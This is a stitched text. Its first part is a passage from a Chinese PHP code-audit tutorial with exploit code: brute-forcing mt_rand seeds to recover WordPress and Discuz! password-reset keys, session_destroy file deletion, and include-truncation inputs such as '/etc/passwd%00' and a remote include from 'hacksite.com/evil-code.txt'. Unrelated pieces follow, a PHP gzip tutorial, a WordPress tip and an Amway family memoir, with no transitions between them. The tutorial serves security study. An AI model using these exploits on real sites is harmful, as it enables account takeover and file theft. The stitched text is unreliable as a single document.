--code-------------------------------------------------------------------------
echo "$a\n";
echo "$a\n";
-------------------------------------------------------------------------------
我们再看如下代码:
--code-------------------------------------------------------------------------
//how to exp this code
if($globals["bbc_email"]){
$text = preg_replace(
array("/\[email=(.*?)\](.*?)\[\/email\]/ies",
"/\[email\](.*?)\[\/email\]/ies"),
array("check_email("$1", "$2")",
"check_email("$1", "$1")"), $text);
-------------------------------------------------------------------------------
另外很多的应用程序都把变量用""存放在缓存文件或者config或者data文件里,这样很
容易被人注射变量函数。
+++++++++++++++++++++++++
漏洞审计策略
-------------------------
PHP版本要求:无
系统要求:无
审计策略:通读代码
+++++++++++++++++++++++++
5.5 PHP自身函数漏洞及缺陷
5.5.1 PHP函数的溢出漏洞
大家还记得Stefan Esser大牛的Month of PHP Bugs(MOPB见附录[2])项目么,其中比较
有名的要算是unserialize(),代码如下:
--code-------------------------------------------------------------------------
unserialize(stripslashes($HTTP_COOKIE_VARS[$cookiename . "_data"]);
-------------------------------------------------------------------------------
在以往的PHP版本里,很多函数都曾经出现过溢出漏洞,所以我们在审计应用程序漏洞的
时候不要忘记了测试目标使用的PHP版本信息。
+++++++++++++++++++++++++
漏洞审计策略
-------------------------
PHP版本要求:对应fix的版本
系统要求:
审计策略:查找对应函数名
+++++++++++++++++++++++++
5.5.2 PHP函数的其他漏洞
Stefan Esser大牛发现的漏洞:unset()--Zend_Hash_Del_Key_Or_Index Vulnerability
比如phpwind早期的serarch.php里的代码:
--code-------------------------------------------------------------------------
unset($uids);
......
$query=$db->query("SELECT uid FROM pw_members WHERE username LIKE "$pwuser"");
while($member=$db->fetch_array($query)){
$uids .= $member["uid"].",";
}
$uids ? $uids=substr($uids,0,-1) : $sqlwhere.=" AND 0 ";
........
$query = $db->query("SELECT DISTINCT t.tid FROM $sqltable WHERE $sqlwhere $orderby $limit");
-------------------------------------------------------------------------------
+++++++++++++++++++++++++
漏洞审计策略
-------------------------
PHP版本要求:php4<4.3 php5<5.14
系统要求:无
审计策略:查找unset
+++++++++++++++++++++++++
5.5.3 session_destroy()删除文件漏洞(测试PHP版本:5.1.2)
这个漏洞是几年前朋友saiy发现的,session_destroy()函数的功能是删除session文件,
很多web应用程序的logout的功能都直接调用这个函数删除session,但是这个函数在一些老
的版本中缺少过滤导致可以删除任意文件。测试代码如下:
--code-------------------------------------------------------------------------
<?php
//val.php
session_save_path("./");
session_start();
if($_GET["del"]) {
session_unset();
session_destroy();
}else{
$_SESSION["hei"]=1;
echo(session_id());
print_r($_SESSION);
}
?>
-------------------------------------------------------------------------------
当我们提交构造cookie:PHPSESSID=/../1.php,相当于unlink("sess_/../1.php")这样
就通过注射../转跳目录删除任意文件了。很多著名的程序某些版本都受影响如phpmyadmin,
sablog,phpwind3等等。
+++++++++++++++++++++++++
漏洞审计策略
-------------------------
PHP版本要求:具体不详
系统要求:无
审计策略:查找session_destroy
+++++++++++++++++++++++++
5.5.4 随机函数
1) rand() VS mt_rand()
--code-------------------------------------------------------------------------
<?php
//on windows
print mt_getrandmax(); //2147483647
print getrandmax();// 32767
?>
-------------------------------------------------------------------------------
可以看出rand()最大的随机数是32767,这个很容易被我们暴力破解。
--code-------------------------------------------------------------------------
<?php
$a= md5(rand());
for($i=0;$i<=32767;$i++){
if(md5($i) ==$a ) {
print $i."-->ok!!<br>";exit;
}else { print $i."<br>";}
}
?>
-------------------------------------------------------------------------------
当我们的程序使用rand处理session时,攻击者很容易暴力破解出你的session,但是对于
mt_rand是很难单纯的暴力的。
+++++++++++++++++++++++++
漏洞审计策略
-------------------------
PHP版本要求:无
系统要求:无
审计策略:查找rand
+++++++++++++++++++++++++
2) mt_srand()/srand()-weak seeding(by Stefan Esser)
看php手册里的描述:
-------------------------------------------------------------------------------
mt_srand
(PHP 3 >= 3.0.6, PHP 4, PHP 5)
mt_srand -- 播下一个更好的随机数发生器种子
说明
void mt_srand ( int seed )
用 seed 来给随机数发生器播种。从 PHP 4.2.0 版开始,seed 参数变为可选项,当该项为空
时,会被设为随时数。
例子 1. mt_srand() 范例
<?php
// seed with microseconds
function make_seed()
{
list($usec, $sec) = explode(" ", microtime());
return (float) $sec + ((float) $usec * 100000);
}
mt_srand(make_seed());
$randval = mt_rand();
?>
注: 自 PHP 4.2.0 起,不再需要用 srand() 或 mt_srand() 函数给随机数发生器播种,现已
自动完成。
-------------------------------------------------------------------------------
php从4.2.0开始实现了自动播种,但是为了兼容,后来使用类似于这样的代码播种:
--code-------------------------------------------------------------------------
mt_srand ((double) microtime() * 1000000)
-------------------------------------------------------------------------------
但是使用(double)microtime()*1000000类似的代码seed是比较脆弱的:
0<(double) microtime()<1 ---> 0<(double) microtime()* 1000000<1000000
那么很容易暴力破解,测试代码如下:
--code-------------------------------------------------------------------------
<?php
/////////////////
//>php rand.php
//828682
//828682
////////////////
ini_set("max_execution_time",0);
$time=(double) microtime()* 1000000;
print $time."\n";
mt_srand ($time);
$search_id = mt_rand();
$seed = search_seed($search_id);
print $seed;
function search_seed($rand_num) {
$max = 1000000;
for($seed=0;$seed<=$max;$seed++){
mt_srand($seed);
$key = mt_rand();
if($key==$rand_num) return $seed;
}
return false;
}
?>
-------------------------------------------------------------------------------
从上面的代码实现了对seed的破解,另外根据Stefan Esser的分析seed还根据进程变化
而变化,换句话来说同一个进程里的seed是相同的。 然后同一个seed每次mt_rand的值都是
特定的。如下图:
+--------------+
| seed-A |
+--------------+
| mt_rand-A-1 |
| mt_rand-A-2 |
| mt_rand-A-3 |
+--------------+
+--------------+
| seed-B |
+--------------+
| mt_rand-B-1 |
| mt_rand-B-2 |
| mt_rand-B-3 |
+--------------+
对于seed-A里mt_rand-1/2/3都是不相等的,但是值都是特定的,也就是说当seed-A等于
seed-B,那么mt_rand-A-1就等于mt_rand-B-1…,这样我们只要能够得到seed就可以得到每次
mt_rand的值了。
对于5.2.6>php>4.2.0直接使用默认播种的程序也是不安全的(很多的安全人员错误的以
为这样就是安全的),这个要分两种情况来分析:
第一种:"Cross Application Attacks",这个思路在Stefan Esser文章里有提到,主要是利用
其他程序定义的播种(如mt_srand ((double) microtime()* 1000000)),phpbb+wordpree组
合就存在这样的危险.
第二种:5.2.6>php>4.2.0默认播种的算法也不是很强悍,这是Stefan Esser的文章里的描述:
-------------------------------------------------------------------------------
The Implementation
When mt_rand() is seeded internally or by a call to mt_srand() PHP 4 and PHP 5
<= 5.2.0 force the lowest bit to 1. Therefore the strength of the seed is only
31 and not 32 bits. In PHP 5.2.1 and above the implementation of the Mersenne
Twister was changed and the forced bit removed.
-------------------------------------------------------------------------------
在32位系统上默认的播种的种子为最大值是2^32,这样我们循环最多2^32次就可以破解
seed。而在PHP 4和PHP 5 <= 5.2.0 的算法有个bug:奇数和偶数的播种是一样的(详见附录
[3]),测试代码如下:
--code-------------------------------------------------------------------------
<?php
mt_srand(4);
$a = mt_rand();
mt_srand(5);
$b = mt_rand();
print $a."\n".$b;
?>
-------------------------------------------------------------------------------
通过上面的代码发现$a==$b,所以我们循环的次数为2^32/2=2^31次。我们看如下代码:
--code-------------------------------------------------------------------------
<?php
//base on http://www.milw0rm.com/exploits/6421
//test on php 5.2.0
define("BUGGY", 1); //上面代码$a==$b时候定义BUGGY=1
$key = wp_generate_password(20, false);
echo $key."\n";
$seed = getseed($key);
print $seed."\n";
mt_srand($seed);
$pass = wp_generate_password(20, false);
echo $pass."\n";
function wp_generate_password($length = 12, $special_chars = true) {
$chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
if ( $special_chars )
$chars .= "!@#$%^&*()";
$password = "";
for ( $i = 0; $i < $length; $i++ )
$password .= substr($chars, mt_rand(0, strlen($chars) - 1), 1);
return $password;
}
function getseed($resetkey) {
$max = pow(2,(32-BUGGY));
for($x=0;$x<=$max;$x++) {
$seed = BUGGY ? ($x << 1) + 1 : $x;
mt_srand($seed);
$testkey = wp_generate_password(20,false);
if($testkey==$resetkey) { echo "o\n"; return $seed; }
if(!($x % 10000)) echo $x / 10000;
}
echo "\n";
return false;
}
?>
-------------------------------------------------------------------------------
运行结果如下:
-------------------------------------------------------------------------------
php5>php rand.php
M8pzpjwCrvVt3oobAaOr
0123456789101112131415161718192021222324252627282930313233343536373839404142434
445464748495051525354555657585960616263646566676869
7071727374757677787980818283848586878889909192939495969798991001011021031041051
061071081091101111121131141151161171181191201211221
2312412512612712812913013113213313413513613713813914014114214314414514614714814
915015115215315415515615715815916016116216316416516
6167168169170171172173174175176177178179180181182183184185186187188189190191192
193194195196197198199200201202203204205206207208209
2102112122132142152162172182192202212222232242252262272282292302312322332342352
362372382392402412422432442452462472482492502512522
..............01062110622106231062410625106261062710628106291063010631106321063
3o
70693
pjwCrvVt3oobAaOr
-------------------------------------------------------------------------------
当10634次时候我们得到了结果。
当PHP版本到了5.2.1后,通过修改算法修补了奇数和偶数的播种相等的问题,这样也导致
了php5.2.0前后导致同一个播种后的mt_rand()的值不一样。比如:
--code-------------------------------------------------------------------------
<?php
mt_srand(42);
echo mt_rand();
//php<=5.20 1387371436
//php>5.20 1354439493
?>
-------------------------------------------------------------------------------
正是这个原因,也要求了我们的exp的运行环境:当目标>5.20时候,我们exp运行的环境也
要是>5.20的版本,反过来也是一样。
从上面的测试及分析来看,php<5.26不管有没有定义播种,mt_rand处理的数据都是不安
全的。在web应用里很多都使用mt_rand来处理随机的session,比如密码找回功能等等,这样
的后果就是被攻击者恶意利用直接修改密码。
很多著名的程序都产生了类似的漏洞如wordpress、phpbb、punbb等等。(在后面我们将
实际分析下国内著名的bbs程序Discuz!的mt_srand导致的漏洞)
+++++++++++++++++++++++++
漏洞审计策略
-------------------------
PHP版本要求:php4 php5<5.2.6
系统要求:无
审计策略:查找mt_srand/mt_rand
+++++++++++++++++++++++++
5.6 特殊字符
其实“特殊字符”也没有特定的标准定义,主要是在一些code hacking发挥着特殊重作用
的一类字符。下面就举几个例子:
5.6.1 截断
其中最有名的数大家都熟悉的null字符截断。
5.6.1.1 include截断
--code-------------------------------------------------------------------------
<?php
include $_GET["action"].".php";
?>
-------------------------------------------------------------------------------
提交“action=/etc/passwd%00”中的“%00”将截断后面的“.php”,但是除了“%00”还有没有
其他的字符可以实现截断使用呢?肯定有人想到了远程包含的url里问号“?”的作用,通过提交
“action=http://www.hacksite.com/evil-code.txt?”这里“?”实现了“伪截断”:),好象这个
看上去不是那么舒服那么我们简单写个代码fuzz一下:
--code-------------------------------------------------------------------------
<?php
////////////////////
////var5.php代码:
////include $_GET["action"].".php";
////print strlen(realpath("./"))+strlen($_GET["action"]);
///////////////////
ini_set("max_execution_time", 0);
$str="";
for($i=0;$i<50000;$i++)
{
$str=$str."/";
$resp=file_get_contents("http://127.0.0.1/var/var5.php?action=1.txt".$str);
//1.txt里的代码为print "hi";
if (strpos($resp, "hi") !== false){
print $i;
exit;
}
}
?>
-------------------------------------------------------------------------------
经过测试字符“.”、“ /”或者2个字符的组合,在一定的长度时将被截断,win系统和*nix
的系统长度不一样,当win下strlen(realpath("./"))+strlen($_GET["action"])的长度大于
256时被截断,对于*nix的长度是4 * 1024 = 4096。对于php.ini里设置远程文件关闭的时候
就可以利用上面的技巧包含本地文件了。(此漏洞由cloie#ph4nt0m.org最先发现])
5.6.1.2 数据截断
对于很多web应用文件在很多功能是不容许重复数据的,比如用户注册功能等。一般的应
用程序对于提交注册的username和数据库里已有的username对比是不是已经有重复数据,然
而我们可以通过“数据截断”等来饶过这些判断,数据库在处理时候产生截断导致插入重复数
据。
1) Mysql SQL Column Truncation Vulnerabilities
这个漏洞又是大牛Stefan Esser发现的(Stefan Esser是我的偶像:)),这个是由于mysql
的sql_mode设置为default的时候,即没有开启STRICT_ALL_TABLES选项时,MySQL对于插入超
长的值只会提示warning,而不是error(如果是error就插入不成功),这样可能会导致一些截
断问题。测试如下:
--code-------------------------------------------------------------------------
mysql> insert into truncated_test(`username`,`password`) values("admin","pass");
mysql> insert into truncated_test(`username`,`password`) values("admin x", "new_pass");
Query OK, 1 row affected, 1 warning (0.01 sec)
mysql> select * from truncated_test;
+----+------------+----------+
| id | username | password |
+----+------------+----------+
| 1 | admin | pass |
| 2 | admin | new_pass |
+----+------------+----------+
2 rows in set (0.00 sec)
-------------------------------------------------------------------------------
2) Mysql charset Truncation vulnerability
当mysql进行数据存储处理utf8等数据时对某些字符导致数据
截断。测试如下:
--code-------------------------------------------------------------------------
mysql> insert into truncated_test(`username`,`password`) values(concat("admin",0xc1), "new_pass2");
Query OK, 1 row affected, 1 warning (0.00 sec)
mysql> select * from truncated_test;
+----+------------+----------+
| id | username | password |
+----+------------+----------+
| 1 | admin | pass |
| 2 | admin | new_pass |
| 3 | admin | new_pass2 |
+----+------------+----------+
2 rows in set (0.00 sec)
-------------------------------------------------------------------------------
很多的web应用程序没有考虑到这些问题,只是在数据存储前简单查询数据是否包含相同
数据,如下代码:
--code-------------------------------------------------------------------------
$result = mysql_query("SELECT * from test_user where user="$user" ");
....
if(@mysql_fetch_array($result, MYSQL_NUM)) {
die("already exist");
}
-------------------------------------------------------------------------------
+++++++++++++++++++++++++
漏洞审计策略
-------------------------
PHP版本要求:无
系统要求:无
审计策略:通读代码
+++++++++++++++++++++++++
5.6.1.3 文件操作里的特殊字符
文件操作里有很多特殊的字符,发挥特别的作用,很多web应用程序没有注意处理这些字
符而导致安全问题。比如很多人都知道的windows系统文件名对“空格”和“.”等的忽视,这个
主要体现在上传文件或者写文件上,导致直接写webshell。另外对于windows系统对“.\..\”
进行系统转跳等等。
下面还给大家介绍一个非常有意思的问题:
--code-------------------------------------------------------------------------
//Is this code vul?
if( eregi(".php",$url) ){
die("ERR");
}
$fileurl=str_replace($webdb[www_url],"",$url);
.....
header("Content-Disposition: attachment; filename=".$filename);
-------------------------------------------------------------------------------
很多人看出来了上面的代码的问题,程序首先禁止使用“.php”后缀。但是下面居然接了
个str_replace替换$webdb[www_url]为空,那么我们提交“.p$webdb[www_url]hp”就可以饶过
了。那么上面的代码杂fix呢?有人给出了如下代码:
--code-------------------------------------------------------------------------
$fileurl=str_replace($webdb[www_url],"",$url);
if( eregi(".php",$url) ){
die("ERR");
}
-------------------------------------------------------------------------------
str_replace提到前面了,很完美的解决了str_replace代码的安全问题,但是问题不是那
么简单,上面的代码在某些系统上一样可以突破。接下来我们先看看下面的代码:
--code-------------------------------------------------------------------------
<?php
for($i=0;$i<255;$i++) {
$url = "1.ph".chr($i);
$tmp = @file_get_contents($url);
if(!empty($tmp)) echo chr($i)."\r\n";
}
?>
-------------------------------------------------------------------------------
我们在windows系统运行上面的代码得到如下字符* < > ? P p都可以打开目录下的1.php。
+++++++++++++++++++++++++
漏洞审计策略
-------------------------
PHP版本要求:无
系统要求:无
审计策略:文读取件操作函数
+++++++++++++++++++++++++
六、怎么进一步寻找新的字典
上面我们列举很多的字典,但是很多都是已经公开过的漏洞或者方式,那么我们怎么进一
步找到新的字典或者利用方式呢?
* 分析和学习别人发现的漏洞或者exp,总结出漏洞类型及字典。
* 通过学习php手册或者官方文档,挖掘出新的有危害的函数或者利用方式。
* fuzz php的函数,找到新的有问题的函数(不一定非要溢出的),如上一章的4.6的部分
很多都可以简单的fuzz脚本可以测试出来。
* 分析php源代码,发现新的漏洞函数“特性”或者漏洞。(在上一节里介绍的那些“漏洞审
计策略”里,都没有php源代码的分析,如果你要进一步找到新的字典,可以在php源代码的基础
上分析下成因,然后根据这个成因来分析寻找新的漏洞函数“特性”或者漏洞。)(我们以后会
陆续公布一些我们对php源代码的分析)
* 有条件或者机会和开发者学习,找到他们实现某些常用功能的代码的缺陷或者容易忽
视的问题
* 你有什么要补充的吗? :)
七、DEMO
* DEMO -- Discuz! Reset User Password 0day Vulnerability 分析
(Exp:http://www.80vul.com/dzvul/sodb/14/sodb-2008-14.txt)
PHP版本要求:php4 php5<5.2.6
系统要求: 无
审计策略:查找mt_srand/mt_rand
第一步 安装Discuz! 6.1后利用grep查找mt_srand得到:
-------------------------------------------------------------------------------
heige@heige-desktop:~/dz6/upload$ grep -in "mt_srand" -r ./ --colour -5
./include/global.func.php-694- $GLOBALS["rewritecompatible"] && $name = rawurlencode($name);
./include/global.func.php-695- return "<a href="tag-".$name.".html"".stripslashes($extra).">";
./include/global.func.php-696-}
./include/global.func.php-697-
./include/global.func.php-698-function random($length, $numeric = 0) {
./include/global.func.php:699: PHP_VERSION < "4.2.0" && mt_srand((double)microtime() * 1000000);
./include/global.func.php-700- if($numeric) {
./include/global.func.php-701- $hash = sprintf("%0".$length."d", mt_rand(0, pow(10, $length) - 1));
./include/global.func.php-702- } else {
./include/global.func.php-703- $hash = "";
./include/global.func.php-704- $chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz";
--
./include/discuzcode.func.php-30-
./include/discuzcode.func.php-31-if(!isset($_DCACHE["bbcodes"]) || !is_array($_DCACHE["bbcodes"]) || !is_array($_DCACHE["smilies"])) {
./include/discuzcode.func.php-32- @include DISCUZ_ROOT."./forumdata/cache/cache_bbcodes.php";
./include/discuzcode.func.php-33-}
./include/discuzcode.func.php-34-
./include/discuzcode.func.php:35:mt_srand((double)microtime() * 1000000);
./include/discuzcode.func.php-36-
./include/discuzcode.func.php-37-function attachtag($pid, $aid, &$postlist) {
./include/discuzcode.func.php-38- global $attachrefcheck, $thumbstatus, $extcredits, $creditstrans, $ftp, $exthtml;
./include/discuzcode.func.php-39- $attach = $postlist[$pid]["attachments"][$aid];
./include/discuzcode.func.php-40- if($attach["attachimg"]) {
-------------------------------------------------------------------------------
有两个文件用到了mt_srand(),第1是在./include/global.func.php的随机函数random()里:
--code-------------------------------------------------------------------------
PHP_VERSION < "4.2.0" && mt_srand((double)microtime() * 1000000);
-------------------------------------------------------------------------------
判断了版本,如果是PHP_VERSION > "4.2.0"使用php本身默认的播种。从上一章里的分
析我们可以看得出来,使用php本身默认的播种的分程序两种情况:
1) "Cross Application Attacks" 这个思路是只要目标上有使用使用的程序里定义了类似
mt_srand((double)microtime() * 1000000)的播种的话,又很有可能被暴力。在dz这里不需
要Cross Application,因为他本身有文件就定义了,就是上面的第2个文件:
--code-------------------------------------------------------------------------
./include/discuzcode.func.php:35:mt_srand((double)microtime() * 1000000);
-------------------------------------------------------------------------------
这里我们肯定dz是存在这个漏洞的,文章给出来的exp也就是基于这个的。(具体exp利用
的流程有兴趣的可以自己分析下])
2) 有的人认为如果没有mt_srand((double)microtime() * 1000000);这里的定义,那么dz就
不存在漏洞,这个是不正确的。首先你不可以保证别人使用的其他应用程序没有定义,再次不
利用"Cross Application Attacks",5.2.6>php>4.2.0 php本身默认播种的算法也不是很强
悍(分析详见上),也是有可以暴力出来,只是速度要慢一点。
九、附录
[1] http://bbs.phpchina.com/attachment.php?aid=22294
[2] http://www.php-security.org/
[3] http://bugs.php.net/bug.php?id=40114
-EOF-
|
http://php.cn/redirect.php?tid=18429&goto=lastpost
GZIP(GNU-ZIP)是一种压缩技术。经过GZIP压缩后页面大小可以变为原来的30%甚至更小。这样用户浏览的时候就会感觉很爽很愉快!
要实现GZIP压缩页面需要浏览器和服务器共同支持,实际上就是服务器压缩,传到浏览器后浏览器解压并解析。浏览器那边不需要我们担心,因为现在绝大多数浏览器都支持解析GZIP过的页面。我们只要把页面在服务器端压缩再输出到浏览器就行了。
下面说正事:
正如要制作压缩饼干,先要拿到原料,要压缩一个页面,首先要获得要输出的内容。PHP中的ob_start()(ob => output buffer)函数可以实现这个功能,它可以把程序里准备输出的内容先放到一个叫做“缓冲区”的地方,当然,你可以理解为制作压缩饼干的暂时放原料的工作台。
这个函数一定要在页面输出之前使用,所以一般把它放在代码的最顶端。因为它就像是一个工作台,所以你要在原料到来之前就要准备好它,否则原料来了没地方放,会出问题的。用ob_start()得到要压缩的页面之后,我们就可以制作压缩饼干了,不对,应该是可以压缩页面了!不过好像还缺少一台压缩机, EZ,我们用PHP带的zlib扩展做一台:
function ob_gzip($content) // $content 就是要压缩的页面内容,或者说饼干原料
{
if( !headers_sent() && // 如果页面头部信息还没有输出
extension_loaded(“zlib”) && // 而且zlib扩展已经加载到PHP中
strstr($_SERVER["HTTP_ACCEPT_ENCODING"],”gzip”)) //而且浏览器说它可以接受GZIP的页面
{
$content = gzencode($content.” \n//此页已压缩”,9); 为准备压缩的内容贴上“//此页已压缩”的注释标签,然后用zlib提供的gzencode()函数执行级别为9的压缩,这个参数值范围是0-9,0表示无压缩,9表示最大压缩,当然压缩程度越高越费CPU。
//然后用header()函数给浏览器发送一些头部信息,告诉浏览器这个页面已经用GZIP压缩过了!
header(“Content-Encoding: gzip”);
header(“Vary: Accept-Encoding”);
header(“Content-Length: “.strlen($content));
}
return $content; //返回压缩的内容,或者说把压缩好的饼干送回工作台。
}
压缩机做好了之后,我们把压缩机放到工作台上,于是原来的ob_start()变成
ob_start(‘ob_gzip’); //没错,就是给ob_start()加一个参数,参数名就是我们刚才做的“压缩机”的函数名。这样当内容进入缓冲区后PHP就会调用ob_gzip函数把它压缩了。
好了,所有的工作已完成,最后交货:
ob_end_flush(); //结束缓冲区,输出内容。当然,不用这个函数也行,因为程序执行到最后会自动将缓冲区内容输出。
完整的示例如下:
//启用一个带有ob_gzip压缩机的工作台
ob_start('ob_gzip');
//准备一些待压缩的内容
for($i=0; $i<100; $i++)
{
echo('这里是压缩饼干的原料,这里是压缩饼干的原料,原料');
}
//输出压缩成果
ob_end_flush();
//这是ob_gzip压缩机
function ob_gzip($content)
{
if( !headers_sent() &&
extension_loaded("zlib") &&
strstr($_SERVER["HTTP_ACCEPT_ENCODING"],"gzip"))
{
$content = gzencode($content." \n//此页已压缩",9);
header("Content-Encoding: gzip");
header("Vary: Accept-Encoding");
header("Content-Length: ".strlen($content));
}
return $content;
}
?>
经过实际测试,上面代码中如果不用GZIP,是4.69KB=4802.56B,启用GZIP后缩小为104B ,呃……我数学可能不好,自己算下压缩到了原来的百分之多少吧。。
另外,下面是用FlashGet获取的日志信息,可以看到我们程序里加的header信息:
Fri Jan 25 17:53:10 2008 HTTP/1.1 200 OK
Fri Jan 25 17:53:10 2008 Server: Microsoft-IIS/5.1
Fri Jan 25 17:53:10 2008 Date: Fri, 25 Jan 2008 09:53:10 GMT
Fri Jan 25 17:53:10 2008 Connection: close
Fri Jan 25 17:53:10 2008 X-Powered-By: PHP/5.2.5
Fri Jan 25 17:53:10 2008 Content-Encoding: gzip
Fri Jan 25 17:53:10 2008 Vary: Accept-Encoding
Fri Jan 25 17:53:10 2008 Content-Length: 104
Fri Jan 25 17:53:10 2008 Content-type: text/html
到htdocs\wordpress\wp-content\themes\default 那个文件夹,找到index.php
如果不是default主题,要到所使用主体的那个文件夹
如何让wordpress分类列表页只显示文章的标题列表?其实很简单:直接把这个层里代码都删掉,只留下:
<div class=”entry”>
</div>
一
看了一个帖子《误入安利直销》,自己潜水很久了,但是看了这篇文章,确实有太多的话想说。
我的文章中出现的人物全部是真实姓名(除我和我的妈妈,还有我的前女友),我们生活在山西太原,我的前女友现在大同。写下这样的流水帐,是想让一些我认识的,还在安利中苦苦挣扎的和我不认识的,或正在从事安利事业的朋友,能先让自己冷静下来,静静的思考下自己。
家里最先接触安利的是爸爸,在2001年,当时爸爸在做生产设备,开普桑,家里还算丰盈。爸爸在生意当中一个朋友,做自动控制的,主要是做自己老婆单位的 一些活。不知什么时候,他兼职做了安利。爸爸出于情面,被邀请参加了他的团队举办的安利的会议。当时我们都知道传销,认为这也类似传销。在2001的年夏 天,爸爸要出国交付设备,正好在这个时候,妈妈在股市也不是很如意,为了不让妈妈寂寞,于是让妈妈和这个朋友参加安利的会议。
妈妈是一个非常热情的人,很执着,很善良,朋友很多,原来和爸爸一起做生意,家里的最初积累几乎全是妈妈做出来的。爸爸生意上的朋友对妈妈的能力和毅力都 非常认可。妈妈是一个特别有激情的人,当她听了很多课程,“被看懂”了安利,妈妈也认为自己在这个新的行业也可以做的象从前的生意一样她。
妈妈这样的人做安利,现在来想,付出是可怕的,注定结局是最痛苦的。
========—– 以下内容于 2009-09-02 07:45:54 追加 —–========
二
我 第一次参加安利的会议,是在我毕业后不久,也是2001年,当时和一位朋友在妈妈的带领下,进入了安利会场。我和我的朋友是大学同学,非常谈的来,我们在 一起,笑声不断。当时这场会议的主持人就是介绍爸爸接触安利的朋友,叫李怀民。我对他也比较熟悉, 这天他和平时不太一样,白衬衣,黑领带,在主持会议,就是每次安利课程的前奏。在组织产品示范(安利术语)环节,会请下面的朋友与之配合,当然我也被请了 上去,当时感觉自己在这样的环境里,还是很被重视的,这与其他的一些场合,多少有些不同,新人最被重视(刚开始接触安利的人都叫新人)!
会 议进行的中间,李怀民用很激昂的声调介绍了一位他认识的老师,他说这位老师如何优秀,如何有韧性。最后要大家以最最热烈的掌握欢迎老师上场。在雄壮的进行 曲陪伴下,在老安利人热情的掌声、欢呼声中,这位老师来到了台上。沈红梅,一位30岁左右的女性,正是这个第一次让我觉得很婆妈的女人让我的妈妈以至于以 后的我,对安利付出了自己的真情。
这位女人的讲话似乎很难与我和朋友的生活联系在一起,因为我和朋友在一起,总是嘻哈打闹,妙语 连珠,所以妈妈特意让我们分开坐,但我们的眼神还是相互传递就像是看喜剧片一样。在会议结束后,我们第一个离开了会场,在电梯里我们尝试着做自我介绍“大 家好,我叫李红志,哈哈哈”。那年妈妈47岁,我24岁。
========—– 以下内容于 2009-09-02 08:00:20 追加 —–========
三
妈妈在家族的地位当时是最高的,无论是在姥姥家,还是大姑家。我的爷爷奶奶都去世了,大姑比爸爸大17岁,爸爸初中都是在大姑家过的。
经 济基础决定了在安利中的地位。妈妈“被看懂”了安利后,还没有自己任何一个团队的时候,妈妈就出资成立了自己很大的工作室,一般安利工作室就一间,可妈妈 的工作室有会议室,美容室,营养咨询室,里面还有一大间,存放安利的货物。但还剩有很多空间,于是我在那里成立了我的网络工作室,当时主要做的业务是为别 人制作网站,提供域名和空间等服务。在开展自己业务的同时,承揽了几个网吧的系统维护及网络维护。
在一个网吧里,我认识了我的前女友。我 在妈妈的工作室成立了自己的网络工作室后,在很短的时间里就认识了很多做安利的人,他们象我的妈妈一样,都是刚刚了解安利。妈妈为他们提供了很好的场地, 这个时候也看到了很多安利中的老师,他们的传说在安利里非常的多,我的妈妈后来也成为安利传说人物。
========—– 以下内容于 2009-09-02 08:17:16 追加 —–========
四
我基本没有反对过妈妈做安利,只是问过妈妈,安利是否合法?是否值得去付出努力?后来我看到安利让妈妈变得很年轻,很有活力,我的想法是如果安利能让妈妈变年轻、更快乐,这样的事情我一定要支持妈妈,挣钱无所谓。
妈 妈在安利里面的新朋友们,我感觉他们很善良,有各种各样的人,他们的关系没有直接的上下级关系,或者说利益关系、奖金关系。因为那个时候,妈妈还没有团 队,身边的安利人都旁部门的关系,也就说大家往上追溯都会到达一个老师哪里,虽然不是上下级关系,但也属于一个安利运作体系。
有一个女孩 子,原来是太原一家知名婚纱影楼的首席化妆师,当然具体是不是我现在也不清楚。安利里的介绍给你的那些老师,你会发现他们在从事安利之前,似乎已经很成功 了。她不是很漂亮,但很执着!李敏。写出她的名字,我有一种情感涌上心来,这是一种似乎接近与兄妹的一种情感,很久都没有见她了。她还好吗?
在 妈妈的工作室里,最常出现的老师就是沈红梅老师,妈妈是她的下线(安利里是不这样称呼的,叫部门)。慢慢与这些传说中的人物熟悉,有一种和成功人事接近的 幻觉,原来这位老师在做安利之前条件是那样的好,正式工作,书香门第,老公开着几个汽修厂,我们会感觉到,原来成功真的不是偶然的。在她的身边还有一个非 常帅非常帅非常帅的小伙子,王力,现听说在做汽车销售。我觉得王力太帅了,让我羡慕。对妈妈的这个工作室我竟然充满了感情,以致于在忽然想写出这篇文章的 时候,发现自己对这段记忆原来这样的清晰。
========—– 以下内容于 2009-09-02 08:25:29 追加 —–========
五
工 作室在运营着,没有一点收入,只有这点是肯定的。大家都在努力地销售产品和推荐朋友加入安利,永远的入不敷出。妈妈的安利事业进展缓慢,妈妈推荐的朋友可 以几千块的购买产品,参加一次安利会议,一次安利会议,就一次,甚至办理加入安利的手续(身份证),但从事安利事业的没有。妈妈对每一个愿意和她了解安利 事业的人都投入真情,今天在我这里我用真情这个词,是我能真实感受到妈妈是在用真情,她身边的人有很多人都是这样,他们太过善良,以致于真情付出。
终 于,功夫不付有心人,妈妈在一堂名为《如何突破我自己》的安利成功学会议中,茅塞顿开,勇敢地给我们家附近买牛奶的一个女人介绍了安利,她愿意和我妈了解 安利事业,妈妈终于有了第一个部门!!!崔求花。来自山西介休的农村,老公是老太原人,有一条假腿。妈妈在和崔求花一起买牛奶和夏天的冷饮时,勇敢给她, 一个陌生的熟人讲了安利。妈妈的激情也把崔求花的激情点燃了,她答应参加安利举办的大会。妈妈为其支付了所有安利会议的门票,有时吃饭,妈妈也会AA崔求 花的那份,终于崔求花打货了。
这里补充介绍一下妈妈团队里的上下关系及人物。爸爸的那个朋友李怀民当然是妈妈的直接上线,李怀民的上线叫谢心安,神秘的安利传说中的观掌大师,通过看你的手纹,可以看出你的潜在病情,告诉你危机四伏,告诉你该用安利营养食品了。谢心安的上线就是沈红梅。
========—– 以下内容于 2009-09-02 08:34:54 追加 —–========
六
很快,崔求花介绍了她的弟媳,宋艳萍。她和老公生活在介休的张兰村。这个村子有很深厚的古董氛围,村里的人几乎家家捣腾古董。在以后的一段日子里,妈妈到这个村上去开拓市场,她讲的安利被当作古董一样被审视,真品还是赝品??!?!
张兰村的市场打开了,妈妈的存折上有了存款(安利公司的工资卡),但这点钱什么都不够,为了月底追求高点数的奖金回报,妈妈的团队在月底总是要凑钱打货。这是安利的传统。
